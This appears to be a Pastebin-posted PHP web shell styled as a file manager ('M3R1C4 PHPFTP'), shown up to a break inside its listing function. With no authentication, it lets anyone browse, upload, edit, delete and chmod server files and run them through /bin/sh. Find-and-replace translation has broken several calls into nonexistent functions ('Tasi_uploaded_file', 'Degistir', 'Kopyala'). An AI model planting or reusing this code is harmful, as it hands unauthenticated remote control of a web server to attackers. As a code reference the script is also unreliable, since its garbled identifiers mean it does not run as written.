bonekcok21

M3R1C4 PHPFTP

Aug 16th, 2016
508
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 52.61 KB | None | 0 0
  1. <?php
  2. /* Diller :
  3.  * 'en' - English
  4.  * 'de' - German
  5.  * 'fr' - French
  6.  * 'it' - Italian
  7.  * 'se' - Swedish
  8.  * 'auto' - autoselect
  9.  */
  10. $lang = 'auto';
  11.  
  12. /* Charset of your filenames:
  13.  */
  14. $charset = 'ISO-8859-1';
  15.  
  16. /* Homedir:
  17.  * For example: './' - the script's directory
  18.  */
  19. $homedir = './';
  20.  
  21. /* Size of the Düzenle textarea
  22.  */
  23. $Düzenlecols = 80;
  24. $Düzenlerows = 25;
  25.  
  26. /* -------------------------------------------
  27.  * Optional configuration (reTasi # to enable)
  28.  */
  29.  
  30. /* Permission of created directories:
  31.  * For example: 0705 would be 'drwx---r-x'.
  32.  */
  33. # $dirpermission = 0705;
  34.  
  35. /* Permission of created files:
  36.  * For example: 0604 would be '-rw----r--'.
  37.  */
  38. # $filepermission = 0604;
  39.  
  40. /* Filenames related to the apache web server:
  41.  */
  42. $htaccess = '.htaccess';
  43. $htpasswd = '.htpasswd';
  44.  
  45. /* ------------------------------------------------------------------------- */
  46.  
  47. if (get_magic_quotes_gpc()) {
  48.     array_walk($_GET, 'strip');
  49.     array_walk($_POST, 'strip');
  50.     array_walk($_REQUEST, 'strip');
  51. }
  52.  
  53. if (array_key_exists('image', $_GET)) {
  54.     header('Content-Type: image/gif');
  55.     die(getimage($_GET['image']));
  56. }
  57.  
  58. $delim = DIRECTORY_SEPARATOR;
  59.  
  60. if (function_exists('php_uname')) {
  61.     $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  62. } else {
  63.     $win = ($delim == '\\') ? true : false;
  64. }
  65.  
  66. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  67.     $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  68. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  69.     $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  70. } elseif (function_exists('getcwd')) {
  71.     $scriptdir = getcwd();
  72. } else {
  73.     $scriptdir = '.';
  74. }
  75. $homedir = relative2absolute($homedir, $scriptdir);
  76.  
  77. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  78.  
  79. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  80.     $dir = relative2absolute($dir, $_POST['olddir']);
  81. }
  82.  
  83. $directory = simplify_path(addslash($dir));
  84.  
  85. $files = array();
  86. $action = '';
  87. if (!empty($_POST['submit_all'])) {
  88.     $action = $_POST['action_all'];
  89.     for ($i = 0; $i < $_POST['num']; $i++) {
  90.         if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  91.             $files[] = $_POST["file$i"];
  92.         }
  93.     }
  94. } elseif (!empty($_REQUEST['action'])) {
  95.     $action = $_REQUEST['action'];
  96.     $files[] = relative2absolute($_REQUEST['file'], $directory);
  97. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  98.     $files[] = $_FILES['upload'];
  99.     $action = 'upload';
  100. } elseif (array_key_exists('num', $_POST)) {
  101.     for ($i = 0; $i < $_POST['num']; $i++) {
  102.         if (array_key_exists("submit$i", $_POST)) break;
  103.     }
  104.     if ($i < $_POST['num']) {
  105.         $action = $_POST["action$i"];
  106.         $files[] = $_POST["file$i"];
  107.     }
  108. }
  109. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  110.     $files[] = relative2absolute($_POST['create_name'], $directory);
  111.     switch ($_POST['create_type']) {
  112.     case 'directory':
  113.         $action = 'create_directory';
  114.         break;
  115.     case 'file':
  116.         $action = 'create_file';
  117.     }
  118. }
  119. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  120.  
  121. if ($lang == 'auto') {
  122.     if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  123.         $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  124.     } else {
  125.         $lang = 'en';
  126.     }
  127. }
  128.  
  129. $words = getwords($lang);
  130.  
  131. $cols = ($win) ? 4 : 7;
  132.  
  133. if (!isset($dirpermission)) {
  134.     $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  135. }
  136. if (!isset($filepermission)) {
  137.     $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  138. }
  139.  
  140. if (!empty($_SERVER['SCRIPT_NAME'])) {
  141.     $self = html(basename($_SERVER['SCRIPT_NAME']));
  142. } elseif (!empty($_SERVER['PHP_SELF'])) {
  143.     $self = html(basename($_SERVER['PHP_SELF']));
  144. } else {
  145.     $self = '';
  146. }
  147.  
  148. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  149.     if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  150.         $apache = true;
  151.     } else {
  152.         $apache = false;
  153.     }
  154. } else {
  155.     $apache = true;
  156. }
  157.  
  158. switch ($action) {
  159.  
  160. case 'view':
  161.  
  162.     if (is_script($file)) {
  163.  
  164.         /* highlight_file is a mess! */
  165.         ob_start();
  166.         highlight_file($file);
  167.         $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  168.         $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  169.         ob_end_clean();
  170.  
  171.         html_header();
  172.         echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  173.  
  174. <hr />
  175.  
  176. <table>
  177. <tr>
  178. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  179. <pre style="margin-top: 0"><code>';
  180.  
  181.         for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  182.  
  183.         echo '</code></pre>
  184. </td>
  185. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  186. <pre style="margin-top: 0">' . $src . '</pre>
  187. </td>
  188. </tr>
  189. </table>
  190.  
  191. ';
  192.  
  193.         html_footer();
  194.  
  195.     } else {
  196.  
  197.         header('Content-Type: ' . getmimetype($file));
  198.         header('Content-Disposition: filename=' . basename($file));
  199.  
  200.         readfile($file);
  201.  
  202.     }
  203.  
  204.     break;
  205.  
  206. case 'indir':
  207.  
  208.     header('Pragma: public');
  209.     header('Expires: 0');
  210.     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  211.     header('Content-Type: ' . getmimetype($file));
  212.     header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  213.     header('Content-Length: ' . filesize($file));
  214.  
  215.     readfile($file);
  216.  
  217.     break;
  218.  
  219. case 'upload':
  220.  
  221.     $dest = relative2absolute($file['name'], $directory);
  222.  
  223.     if (@file_exists($dest)) {
  224.         listing_page(error('already_exists', $dest));
  225.     } elseif (@Tasi_uploaded_file($file['tmp_name'], $dest)) {
  226.         listing_page(notice('uploaded', $file['name']));
  227.     } else {
  228.         listing_page(error('not_uploaded', $file['name']));
  229.     }
  230.  
  231.     break;
  232.  
  233. case 'create_directory':
  234.  
  235.     if (@file_exists($file)) {
  236.         listing_page(error('already_exists', $file));
  237.     } else {
  238.         $old = @umask(0777 & ~$dirpermission);
  239.         if (@mkdir($file, $dirpermission)) {
  240.             listing_page(notice('created', $file));
  241.         } else {
  242.             listing_page(error('not_created', $file));
  243.         }
  244.         @umask($old);
  245.     }
  246.  
  247.     break;
  248.  
  249. case 'create_file':
  250.  
  251.     if (@file_exists($file)) {
  252.         listing_page(error('already_exists', $file));
  253.     } else {
  254.         $old = @umask(0777 & ~$filepermission);
  255.         if (@touch($file)) {
  256.             Düzenle($file);
  257.         } else {
  258.             listing_page(error('not_created', $file));
  259.         }
  260.         @umask($old);
  261.     }
  262.  
  263.     break;
  264.  
  265. case 'execute':
  266.  
  267.     chdir(dirname($file));
  268.  
  269.     $output = array();
  270.     $retval = 0;
  271.     exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  272.  
  273.     $error = ($retval == 0) ? false : true;
  274.  
  275.     if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  276.  
  277.     if ($error) {
  278.         listing_page(error('not_executed', $file, implode("\n", $output)));
  279.     } else {
  280.         listing_page(notice('executed', $file, implode("\n", $output)));
  281.     }
  282.  
  283.     break;
  284.  
  285. case 'Sil':
  286.  
  287.     if (!empty($_POST['no'])) {
  288.         listing_page();
  289.     } elseif (!empty($_POST['yes'])) {
  290.  
  291.         $failure = array();
  292.         $success = array();
  293.  
  294.         foreach ($files as $file) {
  295.             if (del($file)) {
  296.                 $success[] = $file;
  297.             } else {
  298.                 $failure[] = $file;
  299.             }
  300.         }
  301.  
  302.         $message = '';
  303.         if (sizeof($failure) > 0) {
  304.             $message = error('not_Sild', implode("\n", $failure));
  305.         }
  306.         if (sizeof($success) > 0) {
  307.             $message .= notice('Sild', implode("\n", $success));
  308.         }
  309.  
  310.         listing_page($message);
  311.  
  312.     } else {
  313.  
  314.         html_header();
  315.  
  316.         echo '<form action="' . $self . '" method="post">
  317. <table class="dialog">
  318. <tr>
  319. <td class="dialog">
  320. ';
  321.  
  322.         request_dump();
  323.  
  324.         echo "\t<b>" . word('really_Sil') . '</b>
  325.     <p>
  326. ';
  327.  
  328.         foreach ($files as $file) {
  329.             echo "\t" . html($file) . "<br />\n";
  330.         }
  331.  
  332.         echo '  </p>
  333.     <hr />
  334.     <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  335.     <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  336. </td>
  337. </tr>
  338. </table>
  339. </form>
  340.  
  341. ';
  342.  
  343.         html_footer();
  344.  
  345.     }
  346.  
  347.     break;
  348.  
  349. case 'Degistir':
  350.  
  351.     if (!empty($_POST['Yol'])) {
  352.  
  353.         $dest = relative2absolute($_POST['Yol'], $directory);
  354.  
  355.         if (!@file_exists($dest) && @Degistir($file, $dest)) {
  356.             listing_page(notice('Degistird', $file, $dest));
  357.         } else {
  358.             listing_page(error('not_Degistird', $file, $dest));
  359.         }
  360.  
  361.     } else {
  362.  
  363.         html_header();
  364.  
  365.         echo '<form action="' . $self . '" method="post">
  366.  
  367. <table class="dialog">
  368. <tr>
  369. <td class="dialog">
  370.     <input type="hidden" name="action" value="Degistir" />
  371.     <input type="hidden" name="file" value="' . html($file) . '" />
  372.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  373.     <b>' . word('Degistir_file') . '</b>
  374.     <p>' . html($file) . '</p>
  375.     <hr />
  376.     ' . word('Yol') . ':
  377.     <input type="text" name="Yol" size="' . textfieldsize($file) . '" value="' . html($file) . '" />
  378.     <input type="submit" value="' . word('Degistir') . '" />
  379. </td>
  380. </tr>
  381. </table>
  382.  
  383. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Back') . ' ]</a></p>
  384.  
  385. </form>
  386.  
  387. ';
  388.  
  389.         html_footer();
  390.  
  391.     }
  392.  
  393.     break;
  394.  
  395. case 'Tasi':
  396.  
  397.     if (!empty($_POST['Yol'])) {
  398.  
  399.         $dest = relative2absolute($_POST['Yol'], $directory);
  400.  
  401.         $failure = array();
  402.         $success = array();
  403.  
  404.         foreach ($files as $file) {
  405.             $filename = substr($file, strlen($directory));
  406.             $d = $dest . $filename;
  407.             if (!@file_exists($d) && @Degistir($file, $d)) {
  408.                 $success[] = $file;
  409.             } else {
  410.                 $failure[] = $file;
  411.             }
  412.         }
  413.  
  414.         $message = '';
  415.         if (sizeof($failure) > 0) {
  416.             $message = error('not_Tasid', implode("\n", $failure), $dest);
  417.         }
  418.         if (sizeof($success) > 0) {
  419.             $message .= notice('Tasid', implode("\n", $success), $dest);
  420.         }
  421.  
  422.         listing_page($message);
  423.  
  424.     } else {
  425.  
  426.         html_header();
  427.  
  428.         echo '<form action="' . $self . '" method="post">
  429.  
  430. <table class="dialog">
  431. <tr>
  432. <td class="dialog">
  433. ';
  434.  
  435.         request_dump();
  436.  
  437.         echo "\t<b>" . word('Tasi_files') . '</b>
  438.     <p>
  439. ';
  440.  
  441.         foreach ($files as $file) {
  442.             echo "\t" . html($file) . "<br />\n";
  443.         }
  444.  
  445.         echo '  </p>
  446.     <hr />
  447.     ' . word('Yol') . ':
  448.     <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  449.     <input type="submit" value="' . word('Tasi') . '" />
  450. </td>
  451. </tr>
  452. </table>
  453.  
  454. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  455.  
  456. </form>
  457.  
  458. ';
  459.  
  460.         html_footer();
  461.  
  462.     }
  463.  
  464.     break;
  465.  
  466. case 'Kopyala':
  467.  
  468.     if (!empty($_POST['Yol'])) {
  469.  
  470.         $dest = relative2absolute($_POST['Yol'], $directory);
  471.  
  472.         if (@is_dir($dest)) {
  473.  
  474.             $failure = array();
  475.             $success = array();
  476.  
  477.             foreach ($files as $file) {
  478.                 $filename = substr($file, strlen($directory));
  479.                 $d = addslash($dest) . $filename;
  480.                 if (!@is_dir($file) && !@file_exists($d) && @Kopyala($file, $d)) {
  481.                     $success[] = $file;
  482.                 } else {
  483.                     $failure[] = $file;
  484.                 }
  485.             }
  486.  
  487.             $message = '';
  488.             if (sizeof($failure) > 0) {
  489.                 $message = error('not_copied', implode("\n", $failure), $dest);
  490.             }
  491.             if (sizeof($success) > 0) {
  492.                 $message .= notice('copied', implode("\n", $success), $dest);
  493.             }
  494.  
  495.             listing_page($message);
  496.  
  497.         } else {
  498.  
  499.             if (!@file_exists($dest) && @Kopyala($file, $dest)) {
  500.                 listing_page(notice('copied', $file, $dest));
  501.             } else {
  502.                 listing_page(error('not_copied', $file, $dest));
  503.             }
  504.  
  505.         }
  506.  
  507.     } else {
  508.  
  509.         html_header();
  510.  
  511.         echo '<form action="' . $self . '" method="post">
  512.  
  513. <table class="dialog">
  514. <tr>
  515. <td class="dialog">
  516. ';
  517.  
  518.         request_dump();
  519.  
  520.         echo "\n<b>" . word('Kopyala_files') . '</b>
  521.     <p>
  522. ';
  523.  
  524.         foreach ($files as $file) {
  525.             echo "\t" . html($file) . "<br />\n";
  526.         }
  527.  
  528.         echo '  </p>
  529.     <hr />
  530.     ' . word('Yol') . ':
  531.     <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  532.     <input type="submit" value="' . word('Kopyala') . '" />
  533. </td>
  534. </tr>
  535. </table>
  536.  
  537. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  538.  
  539. </form>
  540.  
  541. ';
  542.  
  543.         html_footer();
  544.  
  545.     }
  546.  
  547.     break;
  548.  
  549. case 'create_symlink':
  550.  
  551.     if (!empty($_POST['Yol'])) {
  552.  
  553.         $dest = relative2absolute($_POST['Yol'], $directory);
  554.  
  555.         if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  556.  
  557.         if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  558.  
  559.         if (!@file_exists($dest) && @symlink($file, $dest)) {
  560.             listing_page(notice('symlinked', $file, $dest));
  561.         } else {
  562.             listing_page(error('not_symlinked', $file, $dest));
  563.         }
  564.  
  565.     } else {
  566.  
  567.         html_header();
  568.  
  569.         echo '<form action="' . $self . '" method="post">
  570.  
  571. <table class="dialog" id="symlink">
  572. <tr>
  573.     <td style="vertical-align: top">' . word('Yol') . ': </td>
  574.     <td>
  575.         <b>' . html($file) . '</b><br />
  576.         <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  577.         <label for="checkbox_relative">' . word('relative') . '</label>
  578.         <input type="hidden" name="action" value="create_symlink" />
  579.         <input type="hidden" name="file" value="' . html($file) . '" />
  580.         <input type="hidden" name="dir" value="' . html($directory) . '" />
  581.     </td>
  582. </tr>
  583. <tr>
  584.     <td>' . word('symlink') . ': </td>
  585.     <td>
  586.         <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  587.         <input type="submit" value="' . word('create_symlink') . '" />
  588.     </td>
  589. </tr>
  590. </table>
  591.  
  592. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  593.  
  594. </form>
  595.  
  596. ';
  597.  
  598.         html_footer();
  599.  
  600.     }
  601.  
  602.     break;
  603.  
  604. case 'Düzenle':
  605.  
  606.     if (!empty($_POST['save'])) {
  607.  
  608.         $content = str_replace("\r\n", "\n", $_POST['content']);
  609.  
  610.         if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  611.             listing_page(notice('saved', $file));
  612.         } else {
  613.             listing_page(error('not_saved', $file));
  614.         }
  615.  
  616.     } else {
  617.  
  618.         if (@is_readable($file) && @is_writable($file)) {
  619.             Düzenle($file);
  620.         } else {
  621.             listing_page(error('not_Düzenleed', $file));
  622.         }
  623.  
  624.     }
  625.  
  626.     break;
  627.  
  628. case 'permission':
  629.  
  630.     if (!empty($_POST['set'])) {
  631.  
  632.         $mode = 0;
  633.         if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  634.         if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  635.         if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  636.  
  637.         if (@chmod($file, $mode)) {
  638.             listing_page(notice('permission_set', $file, decoct($mode)));
  639.         } else {
  640.             listing_page(error('permission_not_set', $file, decoct($mode)));
  641.         }
  642.  
  643.     } else {
  644.  
  645.         html_header();
  646.  
  647.         $mode = fileperms($file);
  648.  
  649.         echo '<form action="' . $self . '" method="post">
  650.  
  651. <table class="dialog">
  652. <tr>
  653. <td class="dialog">
  654.  
  655.     <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  656.  
  657.     <hr />
  658.  
  659.     <table id="permission">
  660.     <tr>
  661.         <td></td>
  662.         <td style="border-right: 1px solid black">' . word('owner') . '</td>
  663.         <td style="border-right: 1px solid black">' . word('group') . '</td>
  664.         <td>' . word('other') . '</td>
  665.     </tr>
  666.     <tr>
  667.         <td style="text-align: right">' . word('read') . ':</td>
  668.         <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  669.         <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  670.         <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  671.     </tr>
  672.     <tr>
  673.         <td style="text-align: right">' . word('write') . ':</td>
  674.         <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  675.         <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  676.         <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  677.     </tr>
  678.     <tr>
  679.         <td style="text-align: right">' . word('execute') . ':</td>
  680.         <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  681.         <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  682.         <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  683.     </tr>
  684.     </table>
  685.  
  686.     <hr />
  687.  
  688.     <input type="submit" name="set" value="' . word('set') . '" />
  689.  
  690.     <input type="hidden" name="action" value="permission" />
  691.     <input type="hidden" name="file" value="' . html($file) . '" />
  692.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  693.  
  694. </td>
  695. </tr>
  696. </table>
  697.  
  698. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  699.  
  700. </form>
  701.  
  702. ';
  703.  
  704.         html_footer();
  705.  
  706.     }
  707.  
  708.     break;
  709.  
  710. default:
  711.  
  712.     listing_page();
  713.  
  714. }
  715.  
  716. /* ------------------------------------------------------------------------- */
  717.  
  718. function getlist ($directory) {
  719.     global $delim, $win;
  720.  
  721.     if ($d = @opendir($directory)) {
  722.  
  723.         while (($filename = @readdir($d)) !== false) {
  724.  
  725.             $path = $directory . $filename;
  726.  
  727.             if ($stat = @lstat($path)) {
  728.  
  729.                 $file = array(
  730.                     'filename'    => $filename,
  731.                     'path'        => $path,
  732.                     'is_file'     => @is_file($path),
  733.                     'is_dir'      => @is_dir($path),
  734.                     'is_link'     => @is_link($path),
  735.                     'is_readable' => @is_readable($path),
  736.                     'is_writable' => @is_writable($path),
  737.                     'size'        => $stat['size'],
  738.                     'permission'  => $stat['mode'],
  739.                     'owner'       => $stat['uid'],
  740.                     'group'       => $stat['gid'],
  741.                     'mtime'       => @filemtime($path),
  742.                     'atime'       => @fileatime($path),
  743.                     'ctime'       => @filectime($path)
  744.                 );
  745.  
  746.                 if ($file['is_dir']) {
  747.                     $file['is_executable'] = @file_exists($path . $delim . '.');
  748.                 } else {
  749.                     if (!$win) {
  750.                         $file['is_executable'] = @is_executable($path);
  751.                     } else {
  752.                         $file['is_executable'] = true;
  753.                     }
  754.                 }
  755.  
  756.                 if ($file['is_link']) $file['target'] = @readlink($path);
  757.  
  758.                 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  759.                 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  760.  
  761.                 $files[] = $file;
  762.  
  763.             }
  764.  
  765.         }
  766.  
  767.         return $files;
  768.  
  769.     } else {
  770.         return false;
  771.     }
  772.  
  773. }
  774.  
  775. function sortlist (&$list, $key, $reverse) {
  776.  
  777.     quicksort($list, 0, sizeof($list) - 1, $key);
  778.  
  779.     if ($reverse) $list = array_reverse($list);
  780.  
  781. }
  782.  
  783. function quicksort (&$array, $first, $last, $key) {
  784.  
  785.     if ($first < $last) {
  786.  
  787.         $cmp = $array[floor(($first + $last) / 2)][$key];
  788.  
  789.         $l = $first;
  790.         $r = $last;
  791.  
  792.         while ($l <= $r) {
  793.  
  794.             while ($array[$l][$key] < $cmp) $l++;
  795.             while ($array[$r][$key] > $cmp) $r--;
  796.  
  797.             if ($l <= $r) {
  798.  
  799.                 $tmp = $array[$l];
  800.                 $array[$l] = $array[$r];
  801.                 $array[$r] = $tmp;
  802.  
  803.                 $l++;
  804.                 $r--;
  805.  
  806.             }
  807.  
  808.         }
  809.  
  810.         quicksort($array, $first, $r, $key);
  811.         quicksort($array, $l, $last, $key);
  812.  
  813.     }
  814.  
  815. }
  816.  
  817. function permission_octal2string ($mode) {
  818.  
  819.     if (($mode & 0xC000) === 0xC000) {
  820.         $type = 's';
  821.     } elseif (($mode & 0xA000) === 0xA000) {
  822.         $type = 'l';
  823.     } elseif (($mode & 0x8000) === 0x8000) {
  824.         $type = '-';
  825.     } elseif (($mode & 0x6000) === 0x6000) {
  826.         $type = 'b';
  827.     } elseif (($mode & 0x4000) === 0x4000) {
  828.         $type = 'd';
  829.     } elseif (($mode & 0x2000) === 0x2000) {
  830.         $type = 'c';
  831.     } elseif (($mode & 0x1000) === 0x1000) {
  832.         $type = 'p';
  833.     } else {
  834.         $type = '?';
  835.     }
  836.  
  837.     $owner  = ($mode & 00400) ? 'r' : '-';
  838.     $owner .= ($mode & 00200) ? 'w' : '-';
  839.     if ($mode & 0x800) {
  840.         $owner .= ($mode & 00100) ? 's' : 'S';
  841.     } else {
  842.         $owner .= ($mode & 00100) ? 'x' : '-';
  843.     }
  844.  
  845.     $group  = ($mode & 00040) ? 'r' : '-';
  846.     $group .= ($mode & 00020) ? 'w' : '-';
  847.     if ($mode & 0x400) {
  848.         $group .= ($mode & 00010) ? 's' : 'S';
  849.     } else {
  850.         $group .= ($mode & 00010) ? 'x' : '-';
  851.     }
  852.  
  853.     $other  = ($mode & 00004) ? 'r' : '-';
  854.     $other .= ($mode & 00002) ? 'w' : '-';
  855.     if ($mode & 0x200) {
  856.         $other .= ($mode & 00001) ? 't' : 'T';
  857.     } else {
  858.         $other .= ($mode & 00001) ? 'x' : '-';
  859.     }
  860.  
  861.     return $type . $owner . $group . $other;
  862.  
  863. }
  864.  
  865. function is_script ($filename) {
  866.     return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  867. }
  868.  
  869. function getmimetype ($filename) {
  870.     static $mimes = array(
  871.         '\.jpg$|\.jpeg$'  => 'image/jpeg',
  872.         '\.gif$'          => 'image/gif',
  873.         '\.png$'          => 'image/png',
  874.         '\.html$|\.html$' => 'text/html',
  875.         '\.txt$|\.asc$'   => 'text/plain',
  876.         '\.xml$|\.xsl$'   => 'application/xml',
  877.         '\.pdf$'          => 'application/pdf'
  878.     );
  879.  
  880.     foreach ($mimes as $regex => $mime) {
  881.         if (eregi($regex, $filename)) return $mime;
  882.     }
  883.  
  884.     // return 'application/octet-stream';
  885.     return 'text/plain';
  886.  
  887. }
  888.  
  889. function del ($file) {
  890.     global $delim;
  891.  
  892.     if (!@is_link($file) && !file_exists($file)) return false;
  893.  
  894.     if (!@is_link($file) && @is_dir($file)) {
  895.  
  896.         if ($dir = @opendir($file)) {
  897.  
  898.             $error = false;
  899.  
  900.             while (($f = readdir($dir)) !== false) {
  901.                 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  902.                     $error = true;
  903.                 }
  904.             }
  905.             closedir($dir);
  906.  
  907.             if (!$error) return @rmdir($file);
  908.  
  909.             return !$error;
  910.  
  911.         } else {
  912.             return false;
  913.         }
  914.  
  915.     } else {
  916.         return @unlink($file);
  917.     }
  918.  
  919. }
  920.  
  921. function addslash ($directory) {
  922.     global $delim;
  923.  
  924.     if (substr($directory, -1, 1) != $delim) {
  925.         return $directory . $delim;
  926.     } else {
  927.         return $directory;
  928.     }
  929.  
  930. }
  931.  
  932. function relative2absolute ($string, $directory) {
  933.  
  934.     if (path_is_relative($string)) {
  935.         return simplify_path(addslash($directory) . $string);
  936.     } else {
  937.         return simplify_path($string);
  938.     }
  939.  
  940. }
  941.  
  942. function path_is_relative ($path) {
  943.     global $win;
  944.  
  945.     if ($win) {
  946.         return (substr($path, 1, 1) != ':');
  947.     } else {
  948.         return (substr($path, 0, 1) != '/');
  949.     }
  950.  
  951. }
  952.  
  953. function absolute2relative ($directory, $target) {
  954.     global $delim;
  955.  
  956.     $path = '';
  957.     while ($directory != $target) {
  958.         if ($directory == substr($target, 0, strlen($directory))) {
  959.             $path .= substr($target, strlen($directory));
  960.             break;
  961.         } else {
  962.             $path .= '..' . $delim;
  963.             $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  964.         }
  965.     }
  966.     if ($path == '') $path = '.';
  967.  
  968.     return $path;
  969.  
  970. }
  971.  
  972. function simplify_path ($path) {
  973.     global $delim;
  974.  
  975.     if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  976.         $path = realpath($path);
  977.         if (@is_dir($path)) {
  978.             return addslash($path);
  979.         } else {
  980.             return $path;
  981.         }
  982.     }
  983.  
  984.     $pattern  = $delim . '.' . $delim;
  985.  
  986.     if (@is_dir($path)) {
  987.         $path = addslash($path);
  988.     }
  989.  
  990.     while (strpos($path, $pattern) !== false) {
  991.         $path = str_replace($pattern, $delim, $path);
  992.     }
  993.  
  994.     $e = addslashes($delim);
  995.     $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  996.  
  997.     while (ereg($regex, $path)) {
  998.         $path = ereg_replace($regex, $delim, $path);
  999.     }
  1000.    
  1001.     return $path;
  1002.  
  1003. }
  1004.  
  1005. function human_filesize ($filesize) {
  1006.  
  1007.     $suffices = 'kMGTPE';
  1008.  
  1009.     $n = 0;
  1010.     while ($filesize >= 1000) {
  1011.         $filesize /= 1024;
  1012.         $n++;
  1013.     }
  1014.  
  1015.     $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1016.  
  1017.     if (strpos($filesize, '.') !== false) {
  1018.         while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1019.             $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1020.         }
  1021.     }
  1022.  
  1023.     $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1024.  
  1025.     return $filesize . " {$suffix}B";
  1026.  
  1027. }
  1028.  
  1029. function strip (&$str) {
  1030.     $str = stripslashes($str);
  1031. }
  1032.  
  1033. /* ------------------------------------------------------------------------- */
  1034.  
  1035. function listing_page ($message = null) {
  1036.     global $self, $directory, $sort, $reverse;
  1037.  
  1038.     html_header();
  1039.  
  1040.     $list = getlist($directory);
  1041.  
  1042.     if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1043.     if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1044.  
  1045.     sortlist($list, $sort, $reverse);
  1046.  
  1047.     echo '<h1 style="margin-bottom: 0">M3R1C4 PHPFTP</h1>
  1048.  
  1049. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1050.  
  1051. <table id="main">
  1052. ';
  1053.  
